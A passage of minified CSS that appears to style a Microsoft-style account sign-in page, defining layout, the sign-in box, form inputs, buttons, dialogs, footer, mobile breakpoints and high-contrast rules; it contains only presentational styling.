progressDot{0%,20%{left:0;animation-timing-function:ease-out;opacity:0}25%{opacity:1}35%{left:45%;animation-timing-function:linear}65%{left:60%;animation-timing-function:ease-in}75%{opacity:1}80%,100%{left:100%;opacity:0}}@keyframes fadeIn{from{opacity:0}to{opacity:1}}@-o-keyframes fadeIn{from{opacity:0}to{opacity:1}}@-moz-keyframes fadeIn{from{opacity:0}to{opacity:1}}@-webkit-keyframes fadeIn{from{opacity:0}to{opacity:1}}div.links a{margin-left:16px;margin-right:16px}div.links a.first{padding-left:0}body.cb{color:#1b1b1b;text-align:left}.fadeIn{-webkit-animation:fadeIn 1s;-moz-animation:fadeIn 1s;-o-animation:fadeIn 1s;animation:fadeIn 1s}.backgroundImage,.background-image{-webkit-animation:fadeIn 1s;-moz-animation:fadeIn 1s;-o-animation:fadeIn 1s;animation:fadeIn 1s}.background-logo{max-width:256px;max-height:36px;display:block;margin-left:auto;margin-right:auto;-webkit-animation:fadeIn 1s;-moz-animation:fadeIn 1s;-o-animation:fadeIn 1s;animation:fadeIn 1s}.background-logo-holder{height:36px;margin-bottom:24px}.background,.background-image-holder{background:#f2f2f2}.background,.background>div,.background-image-holder,.background-image,.background-image-small{position:fixed;top:0;width:100%;height:100%}.vertical-split-main-container .background,.vertical-split-main-container .background>div,.vertical-split-main-container .background-image-holder,.vertical-split-main-container .background-image,.vertical-split-main-container .background-image-small{position:absolute}.background>div,.background-image,.background-image-small{background-repeat:no-repeat,no-repeat;background-position:center center,center center;background-size:cover,cover}.background-overlay{background:rgba(0,0,0,0.55);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0, startColorstr=\\'#8C000000\\', endColorstr=\\'#8C000000\\');position:absolute;top:0;width:100%;height:100%}.footer{position:absolute;left:0;bottom:0;width:100%;overflow:visible;z-index:99;clear:both;min-height:28px}.footer.has-background,.footer.has-background.background-always-visible{background-color:rgba(0,0,0,0.6);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0, startColorstr=\\'#99000000\\', endColorstr=\\'#99000000\\')}div.footerNode{margin:0;float:right}.footer-content.footer-item{color:#000;font-size:12px;line-height:28px;white-space:nowrap;display:inline-block;margin-left:8px;margin-right:8px}.footer-content.footer-item.debug-item{text-decoration:none;letter-spacing:3px;line-height:22px;vertical-align:top;font-size:16px;font-weight:600}.footer-content.footer-item.has-background,.footer-content.footer-item.debug-item.has-background,.footer-content.footer-item.has-background.background-always-visible,.footer-content.footer-item.debug-item.has-background.background-always-visible{color:#fff}.outer{display:table;position:absolute;height:100%;width:100%}.top{display:table-cell;vertical-align:top}.middle{display:table-cell;vertical-align:middle}.debug-details-banner{width:calc(100% - 40px);padding:44px;margin-bottom:28px;position:relative;margin-left:auto;margin-right:auto;color:#1b1b1b;background-color:#fff;padding:24px 44px;font-size:13px;max-width:440px;min-width:320px;-webkit-box-shadow:0 2px 6px rgba(0,0,0,0.2);-moz-box-shadow:0 2px 6px rgba(0,0,0,0.2);box-shadow:0 2px 6px rgba(0,0,0,0.2)}.debug-details-banner .table-cell:first-child{width:100%}.debug-details-banner .override-ltr{text-align:left}.debug-details-banner .debug-details-header{margin-bottom:10px}.debug-details-banner .debug-details-heading-text{font-size:15px}.debug-details-banner .debug-trace-section{margin-top:10px}.debug-details-banner .debug-details-notification{margin-left:5px;color:#107c10}.vertical-split-main-container .debug-details-banner{padding-left:14px;padding-right:14px;table-layout:auto}.inner,.sign-in-box{margin-left:auto;margin-right:auto;position:relative;max-width:440px;width:calc(100% - 40px);padding:44px;margin-bottom:28px;background-color:#fff;-webkit-box-shadow:0 2px 6px rgba(0,0,0,0.2);-moz-box-shadow:0 2px 6px rgba(0,0,0,0.2);box-shadow:0 2px 6px rgba(0,0,0,0.2);min-width:320px;min-height:338px;overflow:hidden}.inner.transparent-lightbox,.sign-in-box.transparent-lightbox{background-color:rgba(255,255,255,0.65)}.inner.has-popup,.sign-in-box.has-popup{margin-bottom:20px}a:hover{text-decoration:underline}.promoted-fed-cred-box{margin-left:auto;margin-right:auto;position:relative;max-width:440px;width:calc(100% - 40px);padding:44px;margin-bottom:28px;line-height:16px;min-width:320px;padding:0}.promoted-fed-cred-box>*{word-wrap:break-word}.promoted-fed-cred-content{background-color:#fff;-webkit-box-shadow:0 2px 6px rgba(0,0,0,0.2);-moz-box-shadow:0 2px 6px rgba(0,0,0,0.2);box-shadow:0 2px 6px rgba(0,0,0,0.2);padding-left:44px;padding-right:44px}.promoted-fed-cred-content.transparent-lightbox{background-color:rgba(255,255,255,0.65)}.promoted-fed-cred-content .row.tile .table{padding-top:8px;padding-bottom:8px}.new-session-popup-v2sso{margin-left:auto;margin-right:auto;position:relative;max-width:440px;width:calc(100% - 40px);padding:44px;margin-bottom:28px;background-color:#fff;-webkit-box-shadow:0 2px 6px rgba(0,0,0,0.2);-moz-box-shadow:0 2px 6px rgba(0,0,0,0.2);box-shadow:0 2px 6px rgba(0,0,0,0.2);line-height:16px;min-width:320px;padding-top:24px;padding-bottom:24px}.new-session-popup-v2sso.transparent-lightbox{background-color:rgba(255,255,255,0.65)}.new-session-popup-v2sso>*{word-wrap:break-word}.template-section{display:table-row}.template-section.main-section{height:100%}.template-header-container{display:table-cell;position:absolute;width:100%}.header{width:100%;height:48px;padding:12px 24px;box-shadow:0 2px 6px rgba(0,0,0,0.2)}.header-logo{max-height:24px;max-width:150px}.has-header{padding-top:48px}.template-main-container{display:table-cell}.lightbox-bottom-margin-debug{margin-bottom:28px}.vertical-split-main-container{padding-bottom:28px}.vertical-split-main-section{display:table;height:100%;width:100%}.vertical-split-main-section .boilerplate-text,.vertical-split-main-section .boilerplate-text.transparent-lightbox{background-color:transparent}.vertical-lightbox-container{width:500px}.vertical-lightbox-container .background-logo-holder{padding:0 44px;margin-top:44px}.vertical-split-content{box-shadow:none;margin-bottom:0;min-width:500px}.vertical-split-content .boilerplate-text{margin-bottom:0}.vertical-split-background-image-container{position:relative;height:100%}.wide{max-width:640px}pre{font-family:inherit}.pre-wrap-format{white-space:pre-wrap;word-wrap:break-word;overflow-x:hidden}.text-input,input[type="color"],input[type="date"],input[type="datetime"],input[type="datetime-local"],input[type="email"],input[type="month"],input[type="number"],input[type="password"],input[type="search"],input[type="tel"],input[type="text"],input[type="time"],input[type="url"],input[type="week"],textarea,select{padding:6px 10px;border-width:1px;border-color:#666;border-color:rgba(0,0,0,0.6);height:36px;outline:none;border-radius:0;-webkit-border-radius:0;background-color:transparent}.text-input-hover,input[type="color"]:hover,input[type="date"]:hover,input[type="datetime"]:hover,input[type="datetime-local"]:hover,input[type="email"]:hover,input[type="month"]:hover,input[type="number"]:hover,input[type="password"]:hover,input[type="search"]:hover,input[type="tel"]:hover,input[type="text"]:hover,input[type="time"]:hover,input[type="url"]:hover,input[type="week"]:hover,textarea:hover,select:hover{border-color:#323232;border-color:rgba(0,0,0,0.8)}.text-input-focus,input[type="color"]:focus,input[type="date"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="email"]:focus,input[type="month"]:focus,input[type="number"]:focus,input[type="password"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="text"]:focus,input[type="time"]:focus,input[type="url"]:focus,input[type="week"]:focus,textarea:focus,select:focus{border-color:#0067b8;background-color:transparent}.text-input-has-error-focus,input[type="color"].has-error:focus,input[type="date"].has-error:focus,input[type="datetime"].has-error:focus,input[type="datetime-local"].has-error:focus,input[type="email"].has-error:focus,input[type="month"].has-error:focus,input[type="number"].has-error:focus,input[type="password"].has-error:focus,input[type="search"].has-error:focus,input[type="tel"].has-error:focus,input[type="text"].has-error:focus,input[type="time"].has-error:focus,input[type="url"].has-error:focus,input[type="week"].has-error:focus,textarea.has-error:focus,select.has-error:focus{border-color:#e81123}body.cb div.placeholder{margin-top:8px;margin-left:0}.btn,button,input[type=\\'button\\'],input[type=\\'submit\\'],input[type=\\'reset\\']{min-height:32px;border:none;background-color:#ccc;background-color:rgba(0,0,0,0.2);min-width:108px;line-height:normal}.btn-hover,.btn:hover,button:hover,input[type="button"]:hover,input[type="submit"]:hover,input[type="reset"]:hover{background-color:#b2b2b2;background-color:rgba(0,0,0,0.3)}.btn-focus,.btn:focus,button:focus,input[type="button"]:focus,input[type="submit"]:focus,input[type="reset"]:focus{background-color:#b2b2b2;background-color:rgba(0,0,0,0.3);text-decoration:underline;outline:2px solid #000}.btn.btn-primary,button.btn-primary,input[type="button"].btn-primary,input[type="submit"].btn-primary,input[type="reset"].btn-primary{border-color:#0067b8;background-color:#0067b8}.btn.btn-primary-hover,.btn.btn-primary:hover,button.btn-primary:hover,input[type="button"].btn-primary:hover,input[type="submit"].btn-primary:hover,input[type="reset"].btn-primary:hover{background-color:#005da6}.btn.btn-primary-focus,.btn.btn-primary:focus,button.btn-primary:focus,input[type="button"].btn-primary:focus,input[type="submit"].btn-primary:focus,input[type="reset"].btn-primary:focus{background-color:#005da6;text-decoration:underline;outline:2px solid #000}.btn-active,.btn:active,button:active,input[type="button"]:active,input[type="submit"]:active,input[type="reset"]:active,.btn.btn-primary-active,.btn.btn-primary:active,button.btn-primary:active,input[type="button"].btn-primary:active,input[type="submit"].btn-primary:active,input[type="reset"].btn-primary:active{outline:none;text-decoration:none;-ms-transform:scale(.98);-webkit-transform:scale(.98);transform:scale(.98)}.button.secondary{display:inline-block;min-width:100px;padding:4px 12px 4px 12px;margin-top:4px;margin-bottom:4px;position:relative;max-width:100%;text-align:center;white-space:nowrap;overflow:hidden;vertical-align:middle;text-overflow:ellipsis;touch-action:manipulation;color:#000;border-style:solid;border-width:2px;border-color:transparent;min-height:32px;border:none;background-color:#ccc;background-color:rgba(0,0,0,0.2);min-width:108px;line-height:normal;margin-top:0;margin-bottom:0;display:block;width:100%}.button.secondary:hover{background-color:#b2b2b2;background-color:rgba(0,0,0,0.3)}.button.secondary:focus{background-color:#b2b2b2;background-color:rgba(0,0,0,0.3);text-decoration:underline;outline:2px solid #000}.button.secondary:active{outline:none;text-decoration:none;-ms-transform:scale(.98);-webkit-transform:scale(.98);transform:scale(.98)}.button.primary{color:#fff;border-color:#0067b8;background-color:#0067b8;display:block;width:100%}.button.primary:hover{background-color:#005da6}.button.primary:focus{background-color:#005da6;text-decoration:underline;outline:2px solid #000}.button.primary:active{outline:none;text-decoration:none;-ms-transform:scale(.98);-webkit-transform:scale(.98);transform:scale(.98)}.logo{max-width:256px;height:24px}.identityBanner{height:24px;background:#fff;margin-top:16px;margin-bottom:-4px}.identity{line-height:24px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.backButton{min-height:24px;width:24px;min-width:24px;float:left;padding:0;background-color:#fff;border-width:0;border-radius:12px;margin-right:2px}.backButton:hover{background-color:#e6e6e6;background-color:rgba(0,0,0,0.1)}.backButton:hover:focus{background-color:#ccc;background-color:rgba(0,0,0,0.2)}.backButton:active{background-color:#b3b3b3;background-color:rgba(0,0,0,0.3)}.backButton:focus{background-color:#e6e6e6;background-color:rgba(0,0,0,0.1)}.boilerplate-text{background-color:#f2f2f2;padding:24px 44px 36px 44px;margin:76px -44px -44px -44px}.boilerplate-text.transparent-lightbox{background-color:rgba(242,242,242,0.2)}.boilerplate-text>p:first-child{margin-top:0}.boilerplate-text>p:last-child{margin-bottom:0}.tile-container,.relative{position:relative}.table{width:100%;display:table;table-layout:fixed}.table .table-row{display:table-row}.table .table-cell{display:table-cell;vertical-align:middle}.row{margin-left:0;margin-right:0}.row.tile{margin-bottom:0;outline:none;color:inherit;display:block;margin-left:-44px;margin-right:-44px}.row.tile:not(.no-pick){cursor:pointer}.row.tile:not(.no-pick):hover{background-color:#e6e6e6;background-color:rgba(0,0,0,0.1);color:inherit}.row.tile:not(.no-pick):active{background-color:#b3b3b3;background-color:rgba(0,0,0,0.3);color:inherit}.row.tile .content{line-height:16px;padding-left:12px;padding-right:12px}.row.tile .content>*{word-wrap:break-word}.row.tile .tile-menu{width:23px}.row.tile .table{padding:12px 44px}.row.tile .table:focus{outline:#000 dashed 1px;background:#ccc;background:rgba(0,0,0,0.1)}.row.tile .table[role=listitem]{display:table;margin-left:0}.row.tile .table-cell:first-child .table-cell{width:100%}.tile-img{position:relative;width:48px;height:48px}.tile-img.medium{width:32px;height:32px}.tile-img.small{width:24px;height:24px;float:left;margin-right:8px}.tile-img .tile-badge{position:absolute;right:0;bottom:0}h3,.text-body,p{padding:0;margin-top:16px;margin-bottom:12px}.form-group{margin-bottom:16px}.form-group label{margin-top:0;margin-bottom:0}.btn,button,input[type=\\'button\\'],input[type=\\'submit\\'],input[type=\\'reset\\']{margin-top:0;margin-bottom:0}.col-xs-12.secondary{padding-right:4px}.col-xs-12.primary{padding-left:4px}.no-margin{margin:0}.no-margin-bottom{margin-bottom:0}.no-margin-top-bottom{margin-top:0;margin-bottom:0}.no-padding-top-bottom{padding-top:0;padding-bottom:0}.overflow-hidden{overflow:hidden}.menu-dots{padding:24px 0;position:absolute;right:0;top:2px}.menu-dots>div{padding:0 5px}.menu-dots>div:focus{outline:#000 dashed 1px;background:none}.menu{position:absolute;background-color:#fff;border:1px solid #e6e6e6;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;z-index:2;top:0;right:10px;width:160px}.menu li{margin:0}.menu li a{display:block;padding:11px 12px 13px;background-color:#f2f2f2;background-color:rgba(0,0,0,0.05);outline:none;color:inherit;cursor:pointer}.menu li a:focus{outline:#000 dashed 1px;background-color:#e6e6e6;background-color:rgba(0,0,0,0.1)}.menu li a:hover{background-color:#e6e6e6;background-color:rgba(0,0,0,0.1)}.menu li a:active{background-color:#b3b3b3;background-color:rgba(0,0,0,0.3)}.moveOffScreen{position:fixed;bottom:0;right:0;height:0 !important;width:0 !important;overflow:hidden;opacity:0;filter:alpha(opacity=0)}.largePadding{padding:40px}.displaySign{text-align:center;font-size:2.5rem;margin-top:16px;margin-bottom:16px}.banner-logo{max-height:35px}.dialog-outer{display:table;position:absolute;height:100%;width:100%;z-index:100;background:rgba(0,0,0,0.55);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0, startColorstr=\\'#8C000000\\', endColorstr=\\'#8C000000\\')}.dialog-outer .dialog-middle{display:table-cell;vertical-align:middle}.dialog-outer .dialog-middle .dialog-inner{position:relative;margin-left:auto;margin-right:auto;padding:28px;max-width:562px;background-color:#fff;border:2px #4f74b2 solid;z-index:100}.dialog-outer .dialog-middle .dialog-inner .dialog-content{position:relative}.dialog-outer .dialog-middle .dialog-inner .dialog-content .text-title{font-size:18px;font-weight:400;padding:0;margin-top:0;margin-bottom:12px}.appInfoPopOver{position:absolute;font-size:13px;margin-left:auto;margin-right:auto;left:0;right:0;width:404px;padding:22px;border:2px solid #e6e6e6;background-color:#fff;z-index:100;-webkit-box-shadow:0 2px 6px rgba(0,0,0,0.2);-moz-box-shadow:0 2px 6px rgba(0,0,0,0.2);box-shadow:0 2px 6px rgba(0,0,0,0.2)}.appInfoPopOver .title{font-weight:600;font-weight:bold;font-size:16px}.appInfoPopOver .table{display:inline-grid;max-height:160px;max-width:95%;margin-top:8px;float:right;overflow-y:auto}.appInfoPopOver .table .row{display:table-row;padding-top:8px;word-break:break-all}.appInfoPopOver .table .label{font-weight:600;font-weight:bold}.appInfoPopOver .button{float:right;padding-right:2px;padding-left:2px}.appInfoVerifiedPublisherStatus{color:#0067b8}.no-outline{outline:none}.no-wrap{white-space:nowrap}.form-group-last-child{margin-bottom:20px}.position-buttons>div:first-child{display:inline-block;width:100%;margin-bottom:36px}ul{margin:0}.scope{margin-bottom:8px;margin-top:8px}.scope .text-caption{margin:8px 0 0 28px}.scope .toggle{cursor:pointer}.scope .toggle .chevron{width:20px;float:left}.scope .toggle .label{margin:0;margin-left:8px}.button-container{position:absolute;bottom:0;right:0;text-align:right}.agreement-buttons div.button-container{position:relative;bottom:auto;right:auto;text-align:right}.move-buttons div.button-container{bottom:auto}.help-button{cursor:pointer}@media (max-width:600px),(max-height:366px){.background,.background>div,.background-image-holder,.background-image,.background-image-small,.vertical-split-background-image-container{display:none}.background.app,.background.app>div,.background-image-holder.app,.background-image-holder.app .background-image,.background-image-holder.app .background-image-small{display:inherit}.background-logo-holder{margin-top:24px}.middle{vertical-align:top}.middle.app{padding-left:8px;padding-right:8px}.inner,.sign-in-box,.vertical-split-content{padding:24px;margin-top:0;margin-bottom:88px;width:100%;width:100vw;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;border:0}.inner.app,.sign-in-box.app,.vertical-split-content.app{min-width:304px;width:calc(100vw - 16px)}.inner.app,.sign-in-box.app,.vertical-split-content.app{-webkit-box-shadow:0 2px 6px rgba(0,0,0,0.2);-moz-box-shadow:0 2px 6px rgba(0,0,0,0.2);box-shadow:0 2px 6px rgba(0,0,0,0.2);border:1px solid #818c94;border:1px solid rgba(0,0,0,0.4)}.inner.has-popup,.sign-in-box.has-popup,.vertical-split-content.has-popup{padding-bottom:0;margin-bottom:0}.inner.has-popup.app,.sign-in-box.has-popup.app,.vertical-split-content.has-popup.app{padding-bottom:24px;margin-bottom:20px}.template-header-container{z-index:2}.vertical-split-content{min-width:initial}.lightbox-bottom-margin-debug{margin-bottom:28px}.promoted-fed-cred-box{padding:24px;margin-top:0;margin-bottom:88px;width:100%;width:100vw;padding:0 24px}.promoted-fed-cred-box.app{min-width:304px;width:calc(100vw - 16px)}.promoted-fed-cred-box.app{padding:0}.promoted-fed-cred-content{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;border:0;padding-left:24px;padding-right:24px;border:1px solid #818c94;border:1px solid rgba(0,0,0,0.4)}.promoted-fed-cred-content.app{-webkit-box-shadow:0 2px 6px rgba(0,0,0,0.2);-moz-box-shadow:0 2px 6px rgba(0,0,0,0.2);box-shadow:0 2px 6px rgba(0,0,0,0.2);border:1px solid #818c94;border:1px solid rgba(0,0,0,0.4)}.new-session-popup-v2sso{padding:24px;margin-top:0;margin-bottom:88px;width:100%;width:100vw}.new-session-popup-v2sso.app{min-width:304px;width:calc(100vw - 16px)}.row.tile{margin-left:-24px;margin-right:-24px}.row.tile .table{padding:12px 24px}.wide{max-width:440px}.footer,.footer.has-background{background-color:#fff;filter:none}div.footerNode{float:left;margin:0 24px !important}.footer-content.footer-item,.footer-content.footer-item.has-background,.footer-content.footer-item.debug-item.has-background{color:#747474}.boilerplate-text{padding:20px;margin-top:56px;margin-right:0;margin-bottom:0;margin-left:0}.vertical-split-main-section .boilerplate-text.transparent-lightbox{background-color:rgba(242,242,242,0.2)}.debug-details-banner,.vertical-split-main-container .debug-details-banner{background-color:#f2f2f2;padding:24px;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;table-layout:auto}.appInfoPopOver{margin-left:auto;margin-right:auto;left:0;right:0;width:360px;background-color:#fff;-webkit-box-shadow:0 2px 6px rgba(0,0,0,0.2);-moz-box-shadow:0 2px 6px rgba(0,0,0,0.2);box-shadow:0 2px 6px rgba(0,0,0,0.2)}.appInfoPopOver .table{max-height:122px}.footerSignout,.footerSignout>a{color:#262626 !important}.move-buttons div.button-container{bottom:auto}}.page-description-with-icon{margin-left:34px}.bold{font-weight:bold}.stack-trace{color:black;font-family:"Consolas",monospace;overflow:auto}.stack-trace p{margin-top:15px}.stack-trace ul{list-style:none}.stack-trace ul li{margin-top:15px}.stack-trace fieldset{color:black;border:0;border-top:1px solid white;margin-bottom:50px}.stack-trace hr{border:none;border-top:solid 1px white}.linked-in-consent{position:relative}.linked-in-consent img{width:100%}.linked-in-consent .display-name{width:100%;text-align:center;bottom:10px;font-weight:600;position:absolute}.inline-block{display:inline-block}.text-input,input[type="color"],input[type="date"],input[type="datetime"],input[type="datetime-local"],input[type="email"],input[type="month"],input[type="number"],input[type="password"],input[type="search"],input[type="tel"],input[type="text"],input[type="time"],input[type="url"],input[type="week"],textarea{border-top-width:0;border-left-width:0;border-right-width:0;padding-left:0}.input.text-box{padding:4px 8px;border-style:solid;border-width:2px;border-color:rgba(0,0,0,0.4);background-color:rgba(255,255,255,0.4);height:32px;height:2rem;padding:6px 10px;border-width:1px;border-color:#666;border-color:rgba(0,0,0,0.6);height:36px;outline:none;border-radius:0;-webkit-border-radius:0;background-color:transparent;border-top-width:0;border-left-width:0;border-right-width:0;padding-left:0}.input.text-box:focus{background-color:#fff;border-color:#0067b8;background-color:transparent}.input.text-box:hover{border-color:#323232;border-color:rgba(0,0,0,0.8)}.input.text-box::-moz-placeholder{color:rgba(0,0,0,0.6);opacity:1}.input.text-box:-ms-input-placeholder{color:rgba(0,0,0,0.6)}.input.text-box::-webkit-input-placeholder{color:rgba(0,0,0,0.6)}.input.text-box.has-error{border-color:#e81123}.input.text-box.has-error:focus{border-color:#e81123}[disabled].input.text-box,[readonly].input.text-box,fieldset[disabled] .input.text-box{border-color:#ccc !important;background-color:rgba(0,0,0,0.2) !important;color:rgba(0,0,0,0.2) !important}body.cb input[type="text"].hip{border-width:0 !important;border-bottom-width:1px !important;padding:6px 0 !important}textarea.brickwall{height:42px;width:100%;resize:vertical}.textarea-placeholder{position:relative}select{border-top-width:0;border-left-width:0;border-right-width:0;padding:6px 0}select:hover{background:transparent}select:focus{background:#eee}.text-title{color:#1b1b1b;font-size:1.5rem;font-weight:600;padding:0;margin-top:16px;margin-bottom:12px;font-family:"Segoe UI","Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.text-title:lang(zh-cn),.text-title:lang(zh-tw){font-family:"Segoe UI","Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.title{margin-bottom:20px;margin-top:20px;margin-bottom:1.25rem;margin-top:1.25rem;font-size:24px;line-height:28px;font-weight:300;line-height:1.75rem;padding-bottom:2.3632px;padding-top:2.3632px;color:#1b1b1b;font-size:1.5rem;font-weight:600;padding:0;margin-top:16px;margin-bottom:12px;font-family:"Segoe UI","Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.app-name{margin-bottom:20px;margin-top:20px;margin-bottom:1.25rem;margin-top:1.25rem;font-size:24px;line-height:28px;font-weight:300;line-height:1.75rem;padding-bottom:2.3632px;padding-top:2.3632px;color:#1b1b1b;font-size:1.5rem;font-weight:600;padding:0;margin-top:16px;margin-bottom:12px;font-family:"Segoe UI","Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math";margin-top:0;margin-bottom:0;font-size:.9375rem;line-height:1.25rem}.secondary-text{font-size:.85rem}.alert{margin-bottom:0;margin-top:0}.alert.alert-margin-bottom{margin-bottom:12px}.error{color:#e81123}.text-base{font-size:.85rem}.dropdown-toggle.membernamePrefillSelect{padding:0;border-width:1px;height:36px;outline:none;border-left:none;border-right:none;border-top:none;border-color:#666;background-color:transparent}.dropdown-toggle.membernamePrefillSelect:active{transform:none;border:1px solid #0078d7;border-top-width:0;border-left-width:0;border-right-width:0}.dropdown-toggle.membernamePrefillSelect:focus{transform:none;border:1px solid #0078d7;border-top-width:0;border-left-width:0;border-right-width:0;background-color:#eee !important}.dropdown-toggle.membernamePrefillSelect:hover,.open .dropdown-toggle.membernamePrefillSelect{border:1px solid #0078d7;border-top-width:0;border-left-width:0;border-right-width:0;background-color:#eee !important}.dropdown-toggle.membernamePrefillSelect.has-error,.dropdown-toggle.membernamePrefillSelect.has-error:hover{border-width:1px;border-color:#e81123}.outlookEmailLabel{border-left:none;border-right:none;border-top:none;padding-right:0}.subtitle{font-size:.8125rem;font-weight:400;line-height:20px}.section{margin-bottom:0}.radio{margin-top:20px;margin-bottom:20px}div[role=radiogroup]>div[class="radio"]:first-child{margin-top:0}.form-group-top{margin-top:16px}div[role=listitem],.list-item{margin-left:20px;display:list-item;list-style:circle;list-style-type:disc}.phoneCountryCode{position:absolute;width:100%;left:0;padding:6px 4px;height:36px;border-bottom-width:1px;border-color:#666;border-color:rgba(0,0,0,0.6);border-bottom-style:solid}.phoneCountryCode.hasFocus{background-color:#eee;border:1px solid #eee;border-bottom-color:#0067b8;margin:-1px -1px 0 -1px}.phoneCountryCode.has-error{border-color:#e81123}.phoneCountry{left:0;opacity:0;cursor:pointer;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"}.phoneCountryBox{display:inline-block}.downArrow{position:absolute;right:-6px;padding:6px 0;height:36px}.phoneNumber{display:inline-block;padding-left:16px}.row-app-info{table-layout:auto}.row-app-info .logo{display:table-cell;width:32px;height:32px;padding-right:8px}.row-app-info .logo img{width:inherit;height:inherit}.pagination-view{position:relative;min-height:206px}.pagination-view.has-identity-banner{min-height:170px}.zero-opacity{opacity:0}.lightbox-cover{background-color:white;opacity:0;filter:alpha(opacity=0);z-index:-1;height:100%;width:100%;position:absolute;top:0;left:0;transition:all .5s ease-in;-o-transition:all .5s ease-in;-moz-transition:all .5s ease-in;-webkit-transition:all .5s ease-in}.lightbox-cover.disable-lightbox{z-index:10;opacity:.5;filter:alpha(opacity=0)}.ordered-list{padding-left:15px}.checkmark-badge{position:relative;bottom:1px;height:15px;width:15px}.richtext-warning{margin-top:20px;margin-bottom:10px}.richtext-description{margin-top:10px;margin-bottom:10px}@media (-ms-high-contrast){.btn,.button,button,input[type=\\'button\\'],input[type=\\'submit\\'],input[type=\\'reset\\'],.btn.btn-google{-ms-high-contrast-adjust:none;outline:1px solid windowText;border:1px solid window;background-color:window;color:windowText;text-decoration:none}.btn:hover,.button:hover,button:hover,input[type=\\'button\\']:hover,input[type=\\'submit\\']:hover,input[type=\\'reset\\']:hover,.btn.btn-google:hover{outline:1px solid windowText;border:1px solid highlight;background-color:highlight;color:highlightText;text-decoration:none}.btn:hover:focus,.button:hover:focus,button:hover:focus,input[type=\\'button\\']:hover:focus,input[type=\\'submit\\']:hover:focus,input[type=\\'reset\\']:hover:focus,.btn.btn-google:hover:focus{outline:1px solid windowText;border:1px solid windowText;background-color:highlight;color:highlightText;text-decoration:underline}.btn:focus,.button:focus,button:focus,input[type=\\'button\\']:focus,input[type=\\'submit\\']:focus,input[type=\\'reset\\']:focus,.btn.btn-google:focus{outline:1px solid windowText;border:1px solid windowText;background-color:window;color:windowText;text-decoration:underline}.btn.btn-primary,.button.btn-primary,button.btn-primary,input[type=\\'button\\'].btn-primary,input[type=\\'submit\\'].btn-primary,input[type=\\'reset\\'].btn-primary,.btn.btn-google.btn-primary,.btn.primary,.button.primary,button.primary,input[type=\\'button\\'].primary,input[type=\\'submit\\'].primary,input[type=\\'reset\\'].primary,.btn.btn-google.primary,.btn.secondary,.button.secondary,button.secondary,input[type=\\'button\\'].secondary,input[type=\\'submit\\'].secondary,input[type=\\'reset\\'].secondary,.btn.btn-google.secondary{outline:1px solid highlight;border:1px solid highlight;background-color:highlight;color:highlightText;text-decoration:none}.btn.btn-primary:hover,.button.btn-primary:hover,button.btn-primary:hover,input[type=\\'button\\'].btn-primary:hover,input[type=\\'submit\\'].btn-primary:hover,input[type=\\'reset\\'].btn-primary:hover,.btn.btn-google.btn-primary:hover,.btn.primary:hover,.button.primary:hover,button.primary:hover,input[type=\\'button\\'].primary:hover,input[type=\\'submit\\'].primary:hover,input[type=\\'reset\\'].primary:hover,.btn.btn-google.primary:hover,.btn.secondary:hover,.button.secondary:hover,button.secondary:hover,input[type=\\'button\\'].secondary:hover,input[type=\\'submit\\'].secondary:hover,input[type=\\'reset\\'].secondary:hover,.btn.btn-google.secondary:hover{outline:1px solid highlight;border:1px solid 